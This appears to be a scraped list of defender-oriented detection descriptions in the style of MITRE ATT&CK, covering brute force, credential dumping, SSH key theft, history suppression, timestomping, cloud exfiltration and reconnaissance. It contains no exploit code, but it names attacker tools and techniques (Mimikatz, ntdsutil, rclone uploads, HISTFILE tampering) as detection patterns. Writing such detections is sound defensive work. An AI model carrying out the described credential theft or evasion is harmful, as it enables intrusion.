Abnormal API calls from user accounts invoking file upload endpoints outside normal baselines (M365, Google Drive, Box). Defender perspective: monitor unified audit logs for elevated frequency of Upload, Create, or Copy operations from compromised accounts.
Current version: 1.0
Description:
ESXi guest OS or management interface processes establishing unexpected external HTTPS connections. Defender perspective: monitor vmx or hostd processes making outbound web requests with significant data transfer.
Current version: 1.0
Description:
A process (non-system or user-initiated) accesses private key files in user profile paths or system certificate stores followed by potential network connections or compression activity.
Current version: 1.0
Description:
User or script-based access to ~/.ssh or other directories containing private keys followed by unusual shell activity or network connections.
Current version: 1.0
Description:
Access to user private key directories (e.g., /Users/*/.ssh) via Terminal, scripting engines, or non-default processes.
Current version: 1.0
Description:
CLI-based export of private key material (e.g., 'crypto pki export') with anomalous user session or AAA role escalation.
Current version: 1.0
Description:
Anomalous high-volume access to customer records in CRM software by a non-CRM admin user account, especially following initial authentication from a rare location or device. Behavior includes abnormal access to PII fields or data exports within a short time window.
Current version: 1.0
Description:
Series of authentication failures (Event ID 4625) targeting the same or similar user accounts over time from one or more remote IPs
Current version: 1.0
Description:
Repeated failed SSH login attempts followed by a possible success from the same remote host
Current version: 1.0
Description:
Series of failed logins from loginwindow or sshd with repeated usernames or password prompts
Current version: 1.0
Description:
Multiple failed sign-in attempts from external sources across many users followed by success from the same IP
Current version: 1.0
Description:
Login attempt failures over SNMP, Telnet, or SSH interface, often reflected in logs or syslog events
Current version: 1.0
Description:
Password guessing attempts against web-based apps (e.g., Dropbox, Google Workspace) reflected in API or sign-in logs
Current version: 1.0
Description:
Detects creation or modification of Windows Services through command-line tools (e.g., sc.exe, powershell.exe), Registry key changes under HKLM\System\CurrentControlSet\Services, and service execution under SYSTEM with unsigned or anomalous binary paths. Detects privilege escalation via driver installation or CreateServiceW usage. Correlates parent-child lineage, startup behavior, and rare service names.
Current version: 1.0
Description:
Detects the creation or execution of padded binary files (e.g., large size but minimal legitimate content) followed by process execution or lateral movement from the host.
Current version: 1.0
Description:
Detects abnormal creation of binary files with significant size that are subsequently executed or accessed by non-standard users.
Current version: 1.0
Description:
Monitors for anomalous binary files written to disk with padded size and subsequent execution by user or service context.
Current version: 1.0
Description:
Detection of non-interactive or suspicious processes accessing Bluetooth interfaces and transmitting outbound traffic following file access or staging activity.
Current version: 1.0
Description:
Use of hcitool, bluetoothctl, or rfcomm to initialize Bluetooth connection paired with recent file reads by the same user or session.
Current version: 1.0
Description:
Observation of blueutil/networksetup commands or low-level APIs toggling Bluetooth or initiating transfers, especially if paired with recent large file read activity by non-GUI processes.
Current version: 1.0
Description:
Detection focuses on identifying unauthorized file creation or modification within /etc/emond.d/rules/ or /private/var/db/emondClients, which indicate attempts to register a malicious emond rule. Correlate with process execution of /sbin/emond and any launched commands it invokes, especially during boot or login events. Anomalies may include rules created by non-root users or unexpected shell commands executed by emond.
Current version: 1.0
Description:
MSBuild.exe is invoked outside expected developer/build contexts or with anomalous arguments (e.g., non-canonical paths, remote shares, Base64/obfuscated property values). Within a short window, it (a) spawns high-risk LOLBins/script interpreters, (b) writes new PE/DLL/script artifacts into user-writable paths and executes them, (c) loads unsigned/user-writable modules, (d) performs memory injection/thread creation into other processes, and/or (e) initiates outbound network connections.
Current version: 1.0
Description:
Registry key modification to AppInit_DLLs value followed by anomalous DLL loading by processes importing user32.dll, especially unsigned or uncommon DLLs, suggesting unauthorized AppInit persistence or privilege escalation.
Current version: 1.0
Description:
Detects suspicious use of ESXi native CLI tools like esxcli and vim-cmd by unauthorized users or outside expected maintenance windows. Focus is on actions such as stopping VMs, reconfiguring network/firewall settings, and enabling SSH or logging.
Current version: 1.0
Description:
Correlate process execution of shutdown/reboot commands (e.g., shutdown.exe, restart-computer) with host status change logs (Event IDs 1074, 6006) and absence of related administrative context (e.g., user not in Helpdesk group).
Current version: 1.0
Description:
Detect 'shutdown', 'reboot', or 'systemctl poweroff' executions with auditd/syslog and absence of scheduled maintenance windows or approved user context.
Current version: 1.0
Description:
Identify use of 'shutdown', 'reboot', or 'osascript' system shutdown invocations within unified logs and track unexpected shutdown sequences initiated by GUI or script. Cross-reference with user activity or absence thereof.
Current version: 1.0
Description:
Detect commands such as 'esxcli system shutdown' or 'vim-cmd vmsvc/power.shutdown' executed outside of maintenance windows or via unusual users. Reboot logs in hostd.log and shell logs should be correlated.
Current version: 1.0
Description:
Monitor CLI 'reload' commands issued without scheduled maintenance, and correlate to TACACS+/AAA logs for privilege validation.
Current version: 1.0
Description:
Detection of compromised or misused valid accounts via anomalous logon patterns, abnormal logon types, and inconsistent geographic or time-based activity across Windows endpoints.
Current version: 1.0
Description:
Detection of valid account misuse through SSH logins, sudo/su abuse, and service account anomalies outside expected patterns.
Current version: 1.0
Description:
Detection of interactive and remote logins by service accounts or users at unusual times, with unexpected child process activity.
Current version: 1.0
Description:
Detection of valid account abuse in IdP logs via geographic anomalies, impossible travel, risky sign-ins, and multiple MFA attempts or failures.
Current version: 1.0
Description:
Detection of containerized service accounts or compromised kubeconfigs being used for cluster access from unexpected nodes or IPs.
Current version: 1.0
Description:
Adversary installs or side-loads an IDE extension (VS Code, IntelliJ/JetBrains, Eclipse) or enables IDE tunneling. Chain: (1) IDE binary starts on a non-developer endpoint or server, often with install/force/tunnel flags → (2) extension files/registrations appear under user profile → (3) browser/IDE initiates outbound connections to extension marketplaces, update endpoints, or IDE remote/tunnel services → (4) optional child tools (ssh, node, powershell) execute under the IDE context.
Current version: 1.0
Description:
Adversary installs or abuses IDE extensions via CLI or direct write to profile directories and then communicates with marketplaces or remote tunnel services. Chain: auditd execve (code/idea/eclipse) with install/update flags or writes under ~/.vscode/extensions, ~/.config/JetBrains → outbound flows to .visualstudio.com, marketplace.visualstudio.com, .jetbrains.com, githubusercontent.com, or SSH/WebSocket tunnel endpoints → optional ssh/node processes spawned by IDE.
Current version: 1.0
Description:
Adversary adds IDE extensions or plugins (VS Code, JetBrains Toolbox/EAP, Eclipse) via GUI or CLI, possibly via managed profiles. Chain: process start with install/update flags → plist/extension folder changes under ~/Library/Application Support/Code or ~/Library/Application Support/JetBrains → outbound connections to marketplaces/tunnel services → optional helper (ssh/node) spawned.
Current version: 1.0
Description:
Windows environmental validation behavioral chain: (1) Rapid system discovery reconnaissance through WMI queries, registry enumeration, and network share discovery, (2) Environment-specific artifact collection (hostname, domain, IP addresses, installed software, hardware identifiers), (3) Cryptographic operations or conditional logic based on collected environmental values, (4) Selective payload execution contingent on environmental validation results, (5) Temporal correlation between discovery activities and subsequent execution or network communication
Current version: 1.0
Description:
Linux environmental validation behavioral chain: (1) Intensive system enumeration through command execution (uname, hostname, ifconfig, lsblk, mount), (2) File system reconnaissance targeting specific paths, network configurations, and installed packages, (3) Process and user enumeration to validate target environment characteristics, (4) Conditional script execution or binary activation based on environmental criteria, (5) Network connectivity validation and external IP address resolution for geolocation verification
Current version: 1.0
Description:
macOS environmental validation behavioral chain: (1) System profiling through system_profiler, sysctl, and hardware discovery commands, (2) Network interface and configuration enumeration for geolocation and network environment validation, (3) Application installation and version discovery for software environment fingerprinting, (4) Security feature detection (SIP, Gatekeeper, XProtect status), (5) Conditional payload execution based on macOS-specific environmental criteria and System Integrity Protection bypass validation
Current version: 1.0
Description:
ESXi hypervisor environmental validation behavioral chain: (1) Virtual machine inventory and configuration enumeration through vim-cmd and esxcli commands, (2) Host hardware and network configuration discovery for hypervisor environment validation, (3) Datastore and storage configuration reconnaissance, (4) vCenter connectivity and cluster membership validation, (5) Selective malware deployment based on virtualization infrastructure characteristics and target VM validation
Current version: 1.0
Description:
Detection of environment variable tampering (HISTFILE, HISTCONTROL, HISTFILESIZE) and absence of expected bash history writes. Correlation of unset or zeroed history variables with active shell sessions is indicative of adversarial evasion.
Current version: 1.0
Description:
Detection of bash/zsh history suppression via HISTFILE/HISTCONTROL manipulation and absence of ~/.bash_history updates. Observing environment variable changes tied to terminal processes is a strong indicator.
Current version: 1.0
Description:
Detection of PowerShell history suppression using Set-PSReadLineOption with SaveNothing or altered HistorySavePath. Correlating these options with PowerShell usage highlights adversarial evasion attempts.
Current version: 1.0
Description:
Detection of unset HISTFILE or modified history variables in ESXi shell sessions. Correlation of suspicious shell sessions with no recorded commands despite active usage.
Current version: 1.0
Description:
Detection of CLI commands that disable history logging such as 'no logging'. Anomalous lack of new commands in session logs while activity persists is a strong signal.
Current version: 1.0
Description:
Processes executing binaries named after legitimate system utilities (e.g., net.exe, findstr.exe, python.exe) from non-standard or application-specific directories, combined with file creation or modification events for such binaries. Defender correlates file writes in vulnerable directories, process execution paths inconsistent with baseline system paths, and abnormal parent-child relationships in process lineage.
Current version: 1.0
Description:
Registry access to system language keys (e.g., HKLM\SYSTEM\CurrentControlSet\Control\Nls\Language) or suspicious processes invoking locale-related APIs (e.g., GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList). Defender visibility focuses on anomalous or non-standard processes issuing these queries, especially when run by unknown binaries or scripts.
Current version: 1.0
Description:
Processes executing commands to query system locale and language settings, such as 'locale', 'echo $LANG', or parsing environment variables. Suspicious activity is indicated by these commands being run by unusual users, automation scripts, or non-administrative processes.
Current version: 1.0
Description:
Execution of commands to query system locale and language settings, such as 'defaults read -g AppleLocale' or 'systemsetup -gettimezone'. Unusual parent processes or execution contexts of these commands may indicate adversarial discovery.
Current version: 1.0
Description:
Detection of Office or document viewer processes (e.g., winword.exe) initiating network connections to remote templates or executing scripts due to manipulated template references (e.g., embedded in .docx, .rtf, or .dotm files), followed by suspicious child process creation (e.g., PowerShell).
Current version: 1.0
Description:
Atypical access to Slack or Teams conversations via APIs, automation tokens, or bulk message export functionality, particularly after an account takeover or rare sign-in pattern. Often includes mass retrieval of chat history, download of message content, or scraping of workspace/channel metadata.
Current version: 1.0
Description:
Suspicious access to Microsoft Teams chat messages via eDiscovery, Graph API, or export methods after rare or compromised sign-in. Often associated with excessive file access, sensitive content review, or anomaly from expected user behavior.
Current version: 1.0
Description:
Detects suspicious USB HID device enumeration and keystroke injection patterns, such as rapid sequences of input with no user context, scripts executed through simulated keystrokes, or rogue devices presenting themselves as keyboards.
Current version: 1.0
Description:
Detects USB HID device enumeration under /sys/bus/usb/devices/ and rapid keystroke injection resulting in command execution such as bash or Python scripts launched without interactive user activity.
Current version: 1.0
Description:
Detects abnormal HID device enumeration via I/O Registry (ioreg -p IOUSB) and keystroke injection targeting AppleScript, osascript, or PowerShell equivalents. Defender correlates new USB device connections with rapid script execution.
Current version: 1.0
Description:
Defenders may observe adversary attempts to downgrade system images by monitoring for anomalous file transfers of OS image files (via TFTP, FTP, SCP), configuration changes pointing boot system variables to older image files, unexpected OS version strings after reboot, and checksum mismatches against approved baseline images. Suspicious chains include transfer of an older image, alteration of boot configuration, and reboot/reload of the device. Adversaries may also tamper with CLI output to disguise downgrade attempts, requiring independent validation of OS version and integrity.
Current version: 1.0
Description:
Unusual processes (e.g., powershell.exe, excel.exe) accessing large local files and subsequently initiating HTTPS POST requests to domains associated with cloud storage services (e.g., dropbox.com, drive.google.com, box.com). Defender perspective: correlation between file reads in sensitive directories and high outbound traffic volume to known storage APIs.
Current version: 1.0
Description:
Processes such as curl, wget, rclone, or custom scripts executing uploads to cloud storage endpoints. Defender perspective: detect chained events where tar/gzip is executed to compress files followed by HTTPS PUT/POST requests to known storage services.
Current version: 1.0
Description:
Applications or scripts invoking cloud storage APIs (Dropbox sync, iCloud, Google Drive client) in unexpected contexts. Defender perspective: detect sensitive file reads by non-standard applications followed by unusual encrypted uploads to external cloud storage domains.
Current version: 1.0
Description:
Unusual ESXi processes (vmx, hostd) reading datastore files and generating outbound HTTPS traffic toward external cloud storage endpoints. Defender perspective: anomalous datastore activity followed by network transfers to Dropbox, AWS S3, or other storage services.
Current version: 1.0
Description:
Detects command-line or API-based creation/modification of Windows Services via sc.exe, powershell.exe, services.exe, or ChangeServiceConfig. Looks for creation/modification of autostart services via registry changes, file drops to System32\services, and anomalous parent-child process trees.
Current version: 1.0
Description:
Detects creation or modification of systemd service units, addition of cron jobs that invoke binaries on boot, or suspicious writes to /etc/init.d/. Monitors chmod +x and systemctl execution paths, especially from non-root parent processes.
Current version: 1.0
Description:
Detects creation or modification of LaunchDaemon or LaunchAgent plist files under /Library/LaunchDaemons/, ~/Library/LaunchAgents/, or similar. Monitors execution of launchctl, property list edits, and file permission changes.
Current version: 1.0
Description:
Detects creation of new container system processes via docker run --restart, kubectl exec to init containers, or modification of container init specs. Flags container images that override entrypoints to embed persistence behaviors.
Current version: 1.0
Description:
Detects assignment of high-privilege roles to user or service accounts via Kubernetes RoleBinding or ClusterRoleBinding objects, especially outside of CI/CD automation or from unknown IPs.
Current version: 1.0
Description:
Detects snapshot sharing, backup exports, or data object transfers from victim-owned cloud accounts to other cloud identities within the same provider (e.g., AWS, Azure) using snapshot sharing, S3 bucket policy updates, or SAS URI generation.
Current version: 1.0
Description:
Detects user activity that shares or syncs files with external domains via link generation, OneDrive external sharing, or file transfer actions involving non-whitelisted partner tenants.
Current version: 1.0
Description:
Detects use of built-in SaaS sharing mechanisms to transfer ownership or share access of critical data to external tenants or untrusted users through API calls or link generation features.
Current version: 1.0
Description:
Execution of network enumeration utilities (e.g., net.exe, ping.exe, tracert.exe) in short succession, often chained with lateral movement tools or system enumeration commands.
Current version: 1.0
Description:
Use of bash scripts or interactive shells to issue sequential ping, arp, or traceroute commands to map remote hosts.
Current version: 1.0
Description:
Execution of built-in or AppleScript-based system enumeration via arp, netstat, ping, and discovery of /etc/hosts contents.
Current version: 1.0
Description:
ESXi shell or SSH access issuing esxcli network diag ping or viewing routing tables to identify connected hosts.
Current version: 1.0
Description:
Execution of discovery commands like show cdp neighbors, show arp, and other interface-level introspection on Cisco or Juniper devices.
Current version: 1.0
Description:
Detection focuses on monitoring registry modifications under HKLM\SOFTWARE\Microsoft\Netsh that indicate the addition of helper DLLs, followed by anomalous child process activity or module load behavior initiated by netsh.exe. These behaviors are rarely legitimate and may represent an adversary establishing persistence.
Current version: 1.0
Description:
Creation of inbox rules via PowerShell (New-InboxRule) or transport rules using Exchange cmdlets. Correlates user behavior, cmdlet usage, and rule properties.
Current version: 1.0
Description:
Creation or modification of Apple Mail rules by accessing plist files or GUI automation (AppleScript).
Current version: 1.0
Description:
Creation of email forwarding/redirect rules in Exchange Online via New-InboxRule or transport rule cmdlets, including auto-forwarding address field usage.
Current version: 1.0
Description:
Modification of Thunderbird message filters file or execution of CLI tools (e.g., formail/procmail) that alter .forward behavior.
Current version: 1.0
Description:
Unexpected modification of the KernelCallbackTable in a process’s PEB followed by invocation of modified callback functions (e.g., fnCOPYDATA) through Windows messages. Defender observes suspicious API call chains such as NtQueryInformationProcess → WriteProcessMemory → abnormal GUI callback execution, often correlating to anomalous process behavior such as network activity or code injection.
Current version: 1.0
Description:
Detection of suspicious enumeration of cloud storage objects via API calls such as AWS S3 ListObjectsV2, Azure List Blobs, or GCP ListObjects. Correlate access with account role, user context, and prior authentication activity to identify anomalous usage patterns (e.g., unusual account, unexpected regions, or large-scale enumeration in short time windows).
Current version: 1.0
Description:
Monitor for suspicious usage of driver enumeration utilities (driverquery.exe) or API calls such as EnumDeviceDrivers(). Registry queries against HKLM\SYSTEM\CurrentControlSet\Services and HardwareProfiles that are abnormal may also indicate attempts to discover installed drivers and services. Correlate command execution, process creation, and registry access to build a behavioral chain of driver discovery.
Current version: 1.0
Description:
Detect attempts to enumerate kernel modules through lsmod, modinfo, or inspection of /proc/modules and /dev entries. Focus on unusual execution contexts such as unprivileged users or processes outside expected administrative workflows.
Current version: 1.0
Description:
Detect loading or inspection of kernel extensions (kextstat, kextfind) and file access to /System/Library/Extensions/. Monitor unexpected usage of these utilities by non-administrative users or scripts.
Current version: 1.0
Description:
Detects registration of new or modified network provider DLLs via registry changes, anomalous file creation of DLLs in system directories, and suspicious process activity (mpnotify.exe interacting with non-standard DLLs). Multi-event correlation ties registry modification events to subsequent DLL loads during user logon activity.
Current version: 1.0
Description:
Suspicious process initiating outbound connections to web services without corresponding response or return traffic, indicative of one-way command channels.
Current version: 1.0
Description:
Curl, wget, or custom HTTP clients initiated by uncommon user accounts or cron jobs to popular web services, with no observed response parsing logic.
Current version: 1.0
Description:
Process using URLSession or similar API to fetch from web services without any response handling, indicative of one-way C2 channels.
Current version: 1.0
Description:
ESXi shell or scheduled tasks initiating outbound HTTPS to known public services without inbound return or loggable response, used to fetch instructions.
Current version: 1.0
Description:
Detection of unauthorized changes to boot configurations pointing to TFTP servers, unusual firmware loads during netbooting, or suspicious TFTP traffic. Correlation of boot config modifications, command history logs, and unexpected system image hashes provides detection coverage for adversaries attempting to persist via malicious TFTP boot images.
Current version: 1.0
Description:
Adversary uses built-in OS tools or API calls to create local or domain accounts for persistence or lateral movement. Tools such as 'net user', PowerShell, or MMC snap-ins may be used. Detection focuses on Event ID 4720 paired with process lineage and user context.
Current version: 1.0
Description:
Adversary invokes 'useradd', 'adduser', or equivalent system commands or scripts to create local users. Detection focuses on command execution and audit trail of passwd/shadow file modifications.
Current version: 1.0
Description:
Adversary creates new users using 'dscl' commands, GUI tools, or by modifying user plist files. Detection includes monitoring dscl invocation and user-related plist changes.
Current version: 1.0
Description:
Adversary creates users via IAM/IdP API or portal (e.g., Azure AD, Okta). Detection involves monitoring API calls, admin action logs, and correlation with role assignments.
Current version: 1.0
Description:
Account creation via cloud service APIs or CLI, often associated with key generation. Monitored via CloudTrail or equivalent audit logs.
Current version: 1.0
Description:
Unexpected creation or modification of files with com.apple.ResourceFork extended attributes containing unusually large or non-standard data. Defender perspective: detection of resource forks in contexts where they are uncommon, especially when paired with process execution or network activity.
Current version: 1.0
Description:
Abuse of JamPlus.exe to launch malicious payloads via crafted .jam files, resulting in abnormal process creation, command execution, or artifact generation outside of standard development workflows.
Current version: 1.0
Description:
Detects credential dumping attempts targeting the NTDS.dit database by monitoring shadow copy creation, suspicious file access to %SystemRoot%\NTDS\ntds.dit, and the use of tooling like ntdsutil.exe or volume management APIs.
Current version: 1.0
Description:
Detection of suspicious enumeration of local or domain accounts via command-line tools, WMI, or scripts.
Current version: 1.0
Description:
Enumeration of users and groups through suspicious shell commands or unauthorized access to /etc/passwd or /etc/shadow.
Current version: 1.0
Description:
Detection of user account enumeration through tools like dscl, dscacheutil, or loginshell enumeration via command-line.
Current version: 1.0
Description:
Detection of API calls listing users, IAM roles, or groups in cloud environments.
Current version: 1.0
Description:
Enumeration of user or role objects via IdP API endpoints or LDAP queries.
Current version: 1.0
Description:
Account enumeration via esxcli, vim-cmd, or API calls to vSphere.
Current version: 1.0
Description:
Account enumeration via bulk access to user directory features or hidden APIs.
Current version: 1.0
Description:
Account discovery via VBA macros, COM objects, or embedded scripting.
Current version: 1.0
Description:
Detection of suspicious use of tscon.exe or equivalent methods to hijack legitimate RDP sessions. Defenders can observe anomalies such as session reassignments without corresponding authentication, processes spawned in the context of hijacked sessions, or unusual RDP network traffic flows that deviate from expected baselines.
Current version: 1.0
Description:
Detects enabling of reversible password encryption in Active Directory or Group Policy, suspicious PowerShell commands modifying AD user properties, and unusual account configuration changes correlated with policy modifications. Multi-event correlation links Group Policy edits, PowerShell command execution, and user account property changes to identify tampering with authentication encryption settings.
Current version: 1.0
Description:
Adversary modifies externally-facing web content by accessing and overwriting hosted HTML/JS/CSS files, typically following web shell deployment, credential abuse, or exploitation of web application vulnerabilities.
Current version: 1.0
Description:
Adversary compromises a Linux-based web server and modifies hosted web files by exploiting upload vulnerabilities, remote code execution, or replacing index.html via SSH/webshell.
Current version: 1.0
Description:
Adversary modifies web-facing content on macOS via web development environments like MAMP or misconfigured Apache instances, typically with access to the hosting user account or via persistence tools.
Current version: 1.0
Description:
Adversary modifies content in cloud-hosted websites (e.g., AWS S3-backed, Azure Blob-hosted sites) by gaining access to management consoles or APIs and uploading altered HTML/JS files.
Current version: 1.0
Description:
Detects attempts to modify file timestamps via API usage (e.g., SetFileTime), CLI tools (e.g., w32tm, PowerShell), or double-timestomp behavior where $SI and $FN timestamps are mismatched or reverted.
Current version: 1.0
Description:
Detects use of timestamp-altering commands like touch -a -m -t or touch -r, particularly when executed by unusual users or in suspicious directories.
Current version: 1.0
Description:
Detects timestamp changes using touch, SetFile, or direct metadata tampering (e.g., xattr manipulation) from Terminal, scripts, or low-level APIs.
Current version: 1.0
Description:
Detects abuse of busybox commands (e.g., touch) or log timestamp tampering during backdoor persistence or evasion.
Current version: 1.0
Description:
Defenders may observe adversary attempts to extract configuration data from management repositories by monitoring for anomalous SNMP queries, API calls, or protocol requests (e.g., NETCONF, RESTCONF) that enumerate system configuration. Suspicious sequences include repeated queries from untrusted IPs, abnormal query types requesting sensitive configuration data, or repository access occurring outside of normal administrative maintenance windows. Abnormal authentication attempts, sudden enumeration of device inventory, or bulk data transfer of configuration files may also be observed.
Current version: 1.0
Description:
Monitoring adversary access to sensitive process memory via the /proc filesystem to extract credential material, often involving multi-step access to /proc/[pid]/mem or /proc/[pid]/maps combined with privilege escalation or credential scraping binaries.
Current version: 1.0
Description:
Detects unauthorized invocation of replication operations (DCSync) via Directory Replication Service (DRS), often executed by threat actors using Mimikatz or similar tools from non-DC endpoints.
Current version: 1.0
Description:
Detects exploitation attempts targeting defensive security software or OS services. Defender observation includes abnormal process behavior (e.g., AV or EDR crashing unexpectedly), unsigned/untrusted modules loaded into defensive processes, or privilege escalation from security agent services. Multi-event correlation ties exploitation attempts to subsequent evasive behavior like service termination or missing logs.
Current version: 1.0
Description:
Detects kernel- or user-space exploitation attempts targeting auditd, AV daemons, or security monitoring agents. Defender observation includes unexpected segfaults, privilege escalation attempts from low-privileged processes, or modifications to security binaries. Correlates exploitation attempts with subsequent gaps in logging or terminated processes.
Current version: 1.0
Description:
Detects exploitation of macOS security and integrity services, such as Gatekeeper, XProtect, or EDR agents. Defender observations include unsigned processes attempting privileged operations, abnormal termination of security daemons, or modification of system integrity logs.
Current version: 1.0
Description:
Detects exploitation of IaaS cloud security boundaries to evade defense controls. Defender perspective includes anomalous API calls that bypass audit logging, disable monitoring, or manipulate guardrails (e.g., CloudTrail tampering). Correlation highlights when exploitation attempts precede sudden absence of expected telemetry.
Current version: 1.0
Description:
Detects adversary abuse of SaaS platform vulnerabilities to bypass logging, monitoring, or consent boundaries. Defender perspective focuses on abnormal application integration events, missing audit logs, or API calls from unauthorized service principals that align with exploitation attempts.
Current version: 1.0
Description:
SSH login from a remote system (via sshd), followed by user context execution of suspicious binaries or privilege escalation behavior.
Current version: 1.0
Description:
SSH login detected via Unified Logs, followed by unusual process execution, especially outside normal user behavior patterns.
Current version: 1.0
Description:
SSH login via hostd or /var/log/auth.log, followed by CLI access to host shell or file manipulation in restricted areas.
Current version: 1.0
Description:
Detection of suspicious access to password manager processes (KeePass, 1Password, LastPass, Bitwarden) through abnormal process injection, memory reads, or command-line usage of vault-related DLLs. Correlates process creation with OS API calls and file access to vault databases (.kdbx, .opvault, .ldb).
Current version: 1.0
Description:
Suspicious access to password manager vaults (KeePassXC, gnome-keyring, pass) via memory scraping or unauthorized file reads. Detects unusual command execution involving gdb/strace attached to password manager processes.
Current version: 1.0
Description:
Detection of password manager database access (1Password .opvault, LastPass caches, KeePass .kdbx) outside expected parent processes. Identifies memory scraping attempts via suspicious API calls or tools attaching to password manager processes.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Monitoring the content of network traffic can help detect patterns associated with active scanning activities. This can include identifying repeated connection attempts, unusual scanning behaviors, or probing activity targeting multiple IP addresses across a network. +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. +Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).
+Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers. +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
Current version: 1.0
Description:
If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as User Execution or Ingress Tool Transfer .
Current version: 1.0
Description:
